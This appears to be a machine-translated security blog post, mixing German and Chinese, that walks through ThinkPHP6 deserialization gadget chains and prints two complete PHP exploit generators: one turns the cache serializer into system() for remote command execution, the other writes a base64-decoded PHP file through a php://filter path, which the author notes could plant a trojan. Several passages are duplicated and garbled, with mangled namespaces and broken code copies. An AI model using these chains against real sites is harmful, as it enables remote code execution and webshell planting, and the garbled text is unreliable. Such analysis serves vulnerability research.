Forward
Ich habe zuvor eine Kette von tp6 analysiert; damals wurde die __toString-Methode für die Übertragung verwendet, um die Verbindung zwischen den beiden Ketten zuvor zu erkennen und danach. Diesmal handelt es sich um zwei weitere Ketten; es werden feste Methoden unter der steuerbaren Klasse verwendet. Zuerst kann die Umgebung mit Composer erstellt werden, und dann kann PHP ausgeführt werden
Dieser Artikel befasst sich mit der praktischen Bedienung von Wissenspunkten. Übung: ThinkPHP5-Sicherheitsanfälligkeit bei der Remotebefehlsausführung (Durch dieses Experiment lernen Sie die Ursachen und Ausnutzungsmethoden der ThinkPHP5-Sicherheitsanfälligkeit bei der Remotebefehlsausführung kennen und erfahren, wie die Sicherheitsanfälligkeit behoben werden kann.) TextThe Die erste Idee besteht darin, den Destruktor für den ersten Auslöser zu verwenden. Anschließend wird die magische Funktion schrittweise unter der Klasse „AbstractCache“ ermittelt. öffentliche Funktion __destruct(){ if (! $this->autosave) { $this ->save(); }}Der Code ist wie oben, Sie können sehen, dass die automatische Speicherung hier gesteuert werden kann wir können es manuell auf „false“ kopieren; Die Speichermethode wurde in CacheStore gefundenprotected $autosave = true;public function __destruct(){ if (! $this->autosave) { $this->save(); }}
其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;
回溯save方法;在CacheStore中找到了save方法;具体代码如下;
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents;}
public function save(); $contents = $this->getForStorage(); $this->store->set($this-> key, $contents, $this->expire);
Sie können Achten Sie darauf, dass die Methode getForStorage aufgerufen und dann der Variablen $contents zugewiesen wird. Folgen Sie dieser Methode hier;
🎜public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }
🎜🎜Es wird festgestellt, dass zuerst die Methode „cleanContents“ aufgerufen wird, dann wird die Methode „json_encode“ aufgerufen. ,'DIRNAME','Basename','Extension','FILENAME','SIZE','Mimetype','Visibility','TimestAmp','Type','MD5'),]),]),]) ,]),] ; Foreach ($ Contents as $ PATH = & GT; $ Object) {if (IS_ARRAY ($ Object)) {$ Contents [$ PATH] = Array_intersect_Key ($ Object, $ Cachedpropers);} 🎜🎜 Hier sehen wir zunächst die Methode array_flip; diese Methode dient dazu, den Schlüsselnamen und den Schlüsselwert des Arrays zu ersetzen; dann wird das Array der Variablen $cachedProperties zugewiesen; das Format von $path und $object; und dann den Schlüssel ändern. Wenn der Name von der is_array-Methode als wahr beurteilt wird, wird die nachfolgende Funktionsverarbeitung ausgeführt, andernfalls wird das $content-Array direkt nach dieser Reihe von Operationen zurückgegeben , es wird schließlich zur Speicherfunktion zurückgegeben und dann mit $this->set($this->key, $contents, $this->expire) fortgefahren auch steuerbar; dann gibt es zwei Ideen, eine festgelegte Methodenklasse zu instanziieren, oder wir instanziieren eine Klasse mit einer __call-Methode, damit die Call-Magic-Methode hier zuerst aufgerufen werden kann; Finden Sie eine Klasse mit einer Set-Methode. Finden Sie sie in der Dateiklasse: 🎜public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire ']; } $expire = $this->getExpireTime($expire) $filename = $this->getCacheKey($dir = dirname($filename)); { 2d' , $expire ).
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?phpn //" . sprintf('%012d', $expire) . "n exit();?>n" . $data; $result = file_put_contents($filename, $data); if ($result) { clearstatcache(); return true; } return false;}
这里可利用点在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;
这里放出我自己写的exp;
<?php #bash回显;网页不回显;namespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['
id']; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 's1mple', 'hash_type' => 'md5', 'serialize' => ['system'], ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}
最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;
通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;
下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $ data; } $ serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);
Hier befindet sich der Optionsparameter kontrollierbar; hier gibt es ein Problem. Wenn wir es als System zuweisen, ist die anschließende Rückgabe unsere Befehlsausführungsfunktion, und wir können die Daten darin übergeben, dann können wir RCE implementieren
🎜 Hier ist der Exp, den ich selbst geschrieben habe; 🎜🎜 <?php #bash echo; der Namespace LeagueFlysystemCachedStorage{ protected $autosave = false; protected $cache = ['
id'] }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore erweitert AbstractCache{ protected $store protected $key; public function __construct($store,$key,$expire) { $this->key = $ key; $this-> ;store = $store; $this->expire = $expire; }}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File erweitert Driver{ protected $options = 'expire' => 0, 'cache_subdir' => false, 'path' => 'system'], ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','1111');echo urlencode(serialize($a)); Code>🎜🎜Endlich Der erzielte Effekt ist system(xxxx); Als ich ihn testete, gab es kein Echo. Später stellte ich fest, dass es ein Problem mit den Parametern im System war Als Befehl unter Linux oder Unix ausgeführt, und es kann zuerst ausgeführt werden; daher habe ich den Code und die eingebetteten Backticks geändert, damit der Befehl besser ausgeführt werden kann, aber der Nachteil ist, dass er ausgeführt werden kann, aber kein Echo erfolgt ; aber wir können immer noch einige böswillige Operationen ausführen; "Eine weitere Deserialisierungsanalyse zu thinkphp6"/> 🎜🎜Ich glaube, Sie können neben rce auch einen file_put_contents finden, der auch am letzten Verwendungsort verwendet werden kann Wenn Sie einige der unten verwendeten sexy Körperhaltungen nicht verstehen, können Sie diesen Link überprüfen: https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%; E6%AD%BB%E4%BA%A1%C2%B7%E6% 9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC% 98/
🎜🎜Das Folgende ist auch die Verwendungskette. Es ist das Gleiche, nur dass Sie am Ende den Inhalt des Dateinamens und der Daten kontrollieren müssen 🎜🎜Am Ende wird es eine Datenzusammenführung geben, die ich ursprünglich in die Formatierung einführen wollte, aber die Formatierung wurde nicht durch unzulässige Zeichen verunreinigt und es können keine gefährlichen Codes eingefügt werden Führen Sie es nur in die endgültigen Daten ein. Jetzt ist es an der Zeit, die Daten hier aufzurufen. Rückblickend ist es nicht schwierig, den Schlüsselwert von serialize zu finden Die Array-Option wird herausgenommen und vor den Daten platziert. Es gibt jedoch keine große Sache, da es sich um $serialize($data) handelt Wenn Sie die Funktion nach Belieben übergeben, führt dies zu Unregelmäßigkeiten wie der Funktion „adsf($data);“, was zu einem Fehler führt und es unmöglich macht, fortzufahren können den Inhalt der Option steuern; dann können wir den Schlüsselwert der Serialisierung steuern, der zuvor übergeben wurde, sodass das durch die allgemeine Funktion gebildete endgültige Format nicht von base64 entschlüsselt werden kann, es gibt jedoch eine Ausnahme. Ich habe die Serialisierungsfunktion getestet und festgestellt, dass wir base64 normal entschlüsseln können. Der Grund dafür ist meine Erfahrung. Darüber hinaus sind viele Master möglicherweise verwirrt über das Problem der Beschreibbarkeit Verzeichnisse, also habe ich hier die virtuelle Verzeichnismethode verwendet, um sie im öffentlichen Verzeichnis zu finden. Es kann dort angezeigt werden. Das letzte Zugriffsergebnis besteht darin, phpinfo auszuführen eine Befehlsausführungsfunktion wie das System, die die Ausnutzung von Trojanern verursacht
<?phpnamespace LeagueFlysystemCachedStorage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace thinkfilesystem{use LeagueFlysystemCachedStorageAbstractCache;class CacheStore extends AbstractCache{ protected $store; protected $key; public function __construct($store,$key,$expire) { $this->key = $key; $this->store = $store; $this->expire = $expire; }}}namespace thinkcache{abstract class Driver{}}namespace thinkcachedriver{use thinkcacheDriver;class File extends Driver{ protected $options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/convert.base64-decode/resource=s1mple/../', 'hash_type' => 'md5', 'serialize' => ['serialize'], 'data_compress' => false ];}}namespace{$b = new thinkcachedriverFile();$a = new thinkfilesystemCacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}